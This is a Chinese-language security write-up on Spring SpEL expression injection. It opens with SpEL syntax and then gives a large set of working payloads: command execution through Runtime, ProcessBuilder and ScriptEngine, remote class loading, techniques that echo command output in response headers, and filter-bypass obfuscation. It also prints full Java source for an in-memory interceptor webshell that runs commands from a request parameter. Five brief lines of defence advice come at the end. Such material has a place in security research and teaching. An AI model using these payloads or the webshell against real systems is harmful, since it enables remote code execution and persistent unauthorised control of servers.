[Java安全]Spring SPEL注入总结&&回显技术
字数 1252 2025-08-06 08:35:11
Spring SPEL注入与回显技术详解
一、SPEL表达式基础
1. 定界符
#{}:SPEL特有的定界符,中间内容会被解析为表达式${}:单纯的占位符,可能引起SQL注入等安全问题
2. 类型表达式T()
T()中的内容会被解析为一个类- 示例:
T(java.lang.String)解析为String类 - 可用于获取类对象,如
T(java.lang.Runtime)
3. SPEL表达式运算符
| 运算符类型 | 运算符 |
|---|---|
| 算数运算 | +, -, *, /, %, ^ |
| 关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
| 逻辑运算 | and, or, not, ! |
| 条件运算 | ?:(ternary), ?:(Elvis) |
| 正则表达式 | matches |
4. 变量定义和引用
- 定义变量:
EvaluationContext.setVariable(variableName, value) - 引用变量:
#variableName - 特殊引用:
#this:当前正在计算的上下文#root:引用容器的root对象@something:引用Bean
二、RCE技术实现
1. 直接RCE方法
(1) ProcessBuilder方式
new java.lang.ProcessBuilder(new String[]{"calc"}).start()
(2) Runtime方式
T(java.lang.Runtime).getRuntime().exec('calc')
(3) ScriptEngine方式
// 方式一
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")
// 方式二
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")
2. 远程类加载RCE
(1) URLClassLoader方式
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass("evil").newInstance()
(2) AppClassLoader方式
T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')
(3) 获取ClassLoader的其他方法
// 通过Spring类获取
T(org.springframework.expression.Expression).getClass().getClassLoader()
// Thymeleaf环境下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
// Web服务下通过内置对象
{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}
(4) BCEL字节码方式
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})}
三、回显技术
1. 半回显方式
(1) BufferedReader方式
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
(2) Scanner方式
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
2. 通用回显方式
ResponseHeader方式
需要将response对象注册到上下文:
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("response", response);
Payload示例:
#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
四、内存马注入
1. 基本Payload模板
T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()
简化版:
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
2. 关键组件说明
defineClass:使用Spring的ReflectUtils工具类加载Base64编码的类ClassLoader:使用当前线程上下文的ClassLoaderMLet:URLClassLoader的实现类,可用于加载远程或本地类
3. 示例Interceptor内存马代码
public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
static {
// 获取Web应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射添加拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
adaptInterceptors.add(new InceptorMemShell());
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
// 执行命令并回显
ProcessBuilder builder;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
builder = new ProcessBuilder("/bin/bash", "-c", cmd);
}
String output = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema").next();
response.getWriter().println(output);
return false;
}
return true;
}
// 其他必要方法实现...
}
五、关键字绕过技术
1. 字符串替换方式
T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)
2. Character.toString方式
T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)
3. 使用request对象
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
4. 反射+字符串拼接
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})
5. 使用getSuperClass
''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')
六、防御建议
- 避免直接解析用户输入的SPEL表达式
- 使用
SimpleEvaluationContext代替StandardEvaluationContext限制表达式功能 - 对用户输入进行严格过滤和校验
- 禁用危险的SPEL功能
- 及时更新Spring框架版本,修复已知漏洞